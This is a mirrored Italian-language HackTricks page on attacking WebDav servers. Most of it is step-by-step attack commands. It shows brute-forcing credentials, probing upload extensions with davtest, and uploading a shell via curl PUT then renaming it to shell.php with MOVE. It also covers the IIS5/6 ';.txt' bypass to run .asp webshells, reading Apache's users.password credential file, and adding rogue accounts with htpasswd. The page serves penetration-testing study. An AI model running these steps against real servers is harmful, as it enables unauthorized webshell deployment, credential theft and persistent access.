mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
83 lines
3.7 KiB
Markdown
83 lines
3.7 KiB
Markdown
# WebDav
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Quando si tratta di un **server HTTP con WebDav** abilitato, è possibile **manipolare file** se si dispone delle giuste **credenziali**, solitamente verificate tramite **HTTP Basic Authentication**. Ottenere il controllo su un tale server comporta spesso **il caricamento e l'esecuzione di un webshell**.
|
|
|
|
L'accesso al server WebDav richiede tipicamente **credenziali valide**, con [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) che è un metodo comune per acquisirle.
|
|
|
|
Per superare le restrizioni sui caricamenti di file, specialmente quelle che impediscono l'esecuzione di script lato server, potresti:
|
|
|
|
- **Caricare** file con **estensioni eseguibili** direttamente se non sono vietati.
|
|
- **Rinominare** file non eseguibili caricati (come .txt) in un'estensione eseguibile.
|
|
- **Copiare** file non eseguibili caricati, cambiando la loro estensione in una che sia eseguibile.
|
|
|
|
## DavTest
|
|
|
|
**Davtest** prova a **caricare diversi file con estensioni diverse** e **controlla** se l'estensione viene **eseguita**:
|
|
```bash
|
|
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
|
|
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
|
|
```
|
|
.png>)
|
|
|
|
Questo non significa che le **estensioni .txt** e **.html** vengano eseguite. Significa che puoi **accedere a questi file** tramite il web.
|
|
|
|
## Cadaver
|
|
|
|
Puoi usare questo strumento per **connetterti al server WebDav** e eseguire azioni (come **caricare**, **spostare** o **eliminare**) **manualmente**.
|
|
```
|
|
cadaver <IP>
|
|
```
|
|
## Richiesta PUT
|
|
```
|
|
curl -T 'shell.txt' 'http://$ip'
|
|
```
|
|
## Richiesta MOVE
|
|
```bash
|
|
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
|
```
|
|
## IIS5/6 WebDav Vulnerability
|
|
|
|
Questa vulnerabilità è molto interessante. Il **WebDav** **non consente** di **caricare** o **rinominare** file con l'estensione **.asp**. Ma puoi **bypassare** questo **aggiungendo** alla fine del nome **";.txt"** e il file sarà **eseguito** come se fosse un file .asp (puoi anche **usare ".html" invece di ".txt"** ma **NON dimenticare il ";"**).
|
|
|
|
Poi puoi **caricare** il tuo shell come un file ".**txt" e **copiare/spostarlo in un file ".asp;.txt"**. Accedendo a quel file tramite il server web, esso sarà **eseguito** (cadaver dirà che l'azione di spostamento non ha funzionato, ma ha funzionato).
|
|
|
|
.png>)
|
|
|
|
## Post credentials
|
|
|
|
Se il Webdav stava usando un server Apache dovresti controllare i siti configurati in Apache. Comunemente:\
|
|
\_**/etc/apache2/sites-enabled/000-default**_
|
|
|
|
All'interno potresti trovare qualcosa come:
|
|
```
|
|
ServerAdmin webmaster@localhost
|
|
Alias /webdav /var/www/webdav
|
|
<Directory /var/www/webdav>
|
|
DAV On
|
|
AuthType Digest
|
|
AuthName "webdav"
|
|
AuthUserFile /etc/apache2/users.password
|
|
Require valid-user
|
|
```
|
|
Come puoi vedere, ci sono i file con le **credenziali** valide per il server **webdav**:
|
|
```
|
|
/etc/apache2/users.password
|
|
```
|
|
All'interno di questo tipo di file troverai il **username** e un **hash** della password. Queste sono le credenziali che il server webdav utilizza per autenticare gli utenti.
|
|
|
|
Puoi provare a **crackare** queste credenziali, o a **aggiungerne di più** se per qualche motivo desideri **accedere** al server **webdav**:
|
|
```bash
|
|
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
|
|
```
|
|
Per verificare se le nuove credenziali funzionano, puoi fare:
|
|
```bash
|
|
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
|
```
|
|
## Riferimenti
|
|
|
|
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|